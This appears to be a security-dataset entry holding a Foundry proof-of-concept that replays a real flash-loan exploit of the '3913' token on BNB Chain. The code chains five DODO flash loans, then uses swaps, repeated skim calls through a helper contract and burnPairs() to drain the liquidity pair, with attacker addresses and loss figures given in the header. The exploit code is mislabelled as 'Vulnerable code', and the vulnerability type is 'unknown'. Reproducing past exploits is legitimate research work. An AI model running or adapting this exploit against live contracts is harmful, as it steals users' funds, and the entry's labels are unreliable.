HIGH severity: 3913 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo -- Total Lost : ~31,354 USD$ Attacker : https://bscscan.com/tx/0xb29f18b89e56cc0151c7c17de0625a21018d8ae7 Attack Contract : https://bscscan.com/address/0x783fbea45b32eaaa596b44412041dd1208025e83 Attacker Transaction : https://bscscan.com/tx/0x8163738d6610

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~31,354 USD$
// Attacker : https://bscscan.com/tx/0xb29f18b89e56cc0151c7c17de0625a21018d8ae7
// Attack Contract : https://bscscan.com/address/0x783fbea45b32eaaa596b44412041dd1208025e83
// Attacker Transaction :
// https://bscscan.com/tx/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed

// @Analysis
// https://defimon.xyz/attack/bsc/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed

// The hacker sent multiple transactions to attack, just taking the first transaction as an example.

interface IDodo {
    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
}

interface I3913 is IERC20 {
    function burnPairs() external;
}

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    I3913 vulnerable = I3913(0xd74F28c6E0E2c09881Ef2d9445F158833c174775);
    IPancakePair pair = IPancakePair(0x715762906489D5D671eA3eC285731975DA617583);
    IPancakePair pair3913to9419 = IPancakePair(0xd6d66e1993140966e6029815eDbB246800928969);
    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    address dodo1 = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;
    address dodo2 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
    address dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
    address dodo4 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
    address dodo5 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
    IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 token9419 = IERC20(0x86335cb69e4E28fad231dAE3E206ce90849a5477);
    uint256 dodo1FlashLoanAmount;
    uint256 dodo2FlashLoanAmount;
    uint256 dodo3FlashLoanAmount;
    uint256 dodo4FlashLoanAmount;
    uint256 dodo5FlashLoanAmount;

    function setUp() public {
        cheats.createSelectFork("bsc", 33_132_467);
        cheats.label(address(vulnerable), "3913");
        cheats.label(address(pair), "pair");
        cheats.label(address(token9419), "9419");
    }

    function testExploit() public {
        deal(address(busd), address(this), 0);
        emit log_named_decimal_uint(
            "attacker balance busd before attack:", busd.balanceOf(address(this)), busd.decimals()
        );
        dodo1FlashLoanAmount = busd.balanceOf(dodo1);
        IDodo(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1));
        emit log_named_decimal_uint(
            "attacker balance busd after attack:", busd.balanceOf(address(this)), busd.decimals()
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        if (msg.sender == dodo1) {
            dodo2FlashLoanAmount = busd.balanceOf(dodo2);
            IDodo(dodo2).flashLoan(0, dodo2FlashLoanAmount, address(this), new bytes(1));
            busd.transfer(dodo1, dodo1FlashLoanAmount);
        } else if (msg.sender == dodo2) {
            dodo3FlashLoanAmount = busd.balanceOf(dodo3);
            IDodo(dodo3).flashLoan(0, dodo3FlashLoanAmount, address(this), new bytes(1));
            busd.transfer(dodo2, dodo2FlashLoanAmount);
        } else if (msg.sender == dodo3) {
            dodo4FlashLoanAmount = busd.balanceOf(dodo4);
            IDodo(dodo4).flashLoan(0, dodo4FlashLoanAmount, address(this), new bytes(1));
            busd.transfer(dodo3, dodo3FlashLoanAmount);
        } else if (msg.sender == dodo4) {
            dodo5FlashLoanAmount = busd.balanceOf(dodo5);
            IDodo(dodo5).flashLoan(0, dodo5FlashLoanAmount, address(this), new bytes(1));
            busd.transfer(dodo4, dodo4FlashLoanAmount);
        } else if (msg.sender == dodo5) {
            //end of flash loan
            busd.approve(address(pair), type(uint256).max);
            busd.approve(address(router), type(uint256).max);

            address[] memory path = new address[](2);
            path[0] = address(busd);
            path[1] = address(vulnerable);
            router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100);
            path[1] = address(token9419);
            router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100);
            NewContract x = new NewContract();

            vulnerable.transfer(address(x), 1 ether);

            x.transferToken(address(vulnerable), address(this));
            path[1] = address(vulnerable);
            router.swapExactTokensForTokens(
                358_631_959_260_537_946_706_184, 0, path, address(this), block.timestamp + 100
            );
            busd.transfer(address(pair), 1);
            assertEq(vulnerable.balanceOf(address(this)), 650_501_978_825_924_088_488_444_996_953);
            vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this)));
            pair.skim(address(x));

            uint8 i = 0;
            while (i < 10) {
                x.transferToken(address(vulnerable), address(this));
                if (vulnerable.balanceOf(address(0x570C19331c1B155C21ccD6C2D8e264785cc6F015)) != 1e15) {
                    busd.transfer(address(pair), 1);
                    vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this)));
                    pair.skim(address(x));
                } else {
                    vulnerable.burnPairs();
                }
                i++;
            }
            assertEq(vulnerable.balanceOf(address(this)), 873_285_322_509_556_749_289_919_955_755);
            path[0] = address(vulnerable);
            path[1] = address(busd);
            uint256[] memory amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)) * 98 / 100, path);
            assertEq(amountOut[0], 855_819_616_059_365_614_304_121_556_639);

            busd.transfer(address(pair), 1);
            vulnerable.transfer(address(pair), amountOut[0]);

            assertEq(amountOut[1] * 99 / 100, 386_867_521_275_785_735_087_292);
            (uint112 res0, uint112 res1,) = pair.getReserves();
            assertEq(res0, 585_082_814_956_957_699_188_861);
            assertEq(res1, 424_480_476_638_586_992_222_101_033_564);
            assert(amountOut[1] * 99 / 100 < res0);
            assertEq(pair.token0(), address(busd));
            pair.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0));
            path[0] = address(vulnerable);
            path[1] = address(token9419);
            amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)), path);
            token9419.transfer(address(pair3913to9419), 1);
            vulnerable.transfer(address(pair3913to9419), vulnerable.balanceOf(address(this)));
            (res0, res1,) = pair3913to9419.getReserves();
            assert(res0 > amountOut[1] * 99 / 100);
            assertEq(pair3913to9419.token0(), address(token9419));
            assertEq(amountOut[1] * 99 / 100, 278_798_044_220_113_865_039_589_361_218);

            pair3913to9419.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0));
            //
            path[0] = address(token9419);
            path[1] = address(busd);
            token9419.approve(address(router), type(uint256).max);
            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                token9419.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100
            );
            busd.transfer(dodo5, dodo5FlashLoanAmount);
        }
    }
}

contract NewContract {
    function transferToken(address token, address destination) external {
        uint256 bal = I3913(token).balanceOf(address(this));
        I3913(token).transfer(destination, bal);
    }
}


Vulnerability type: unknown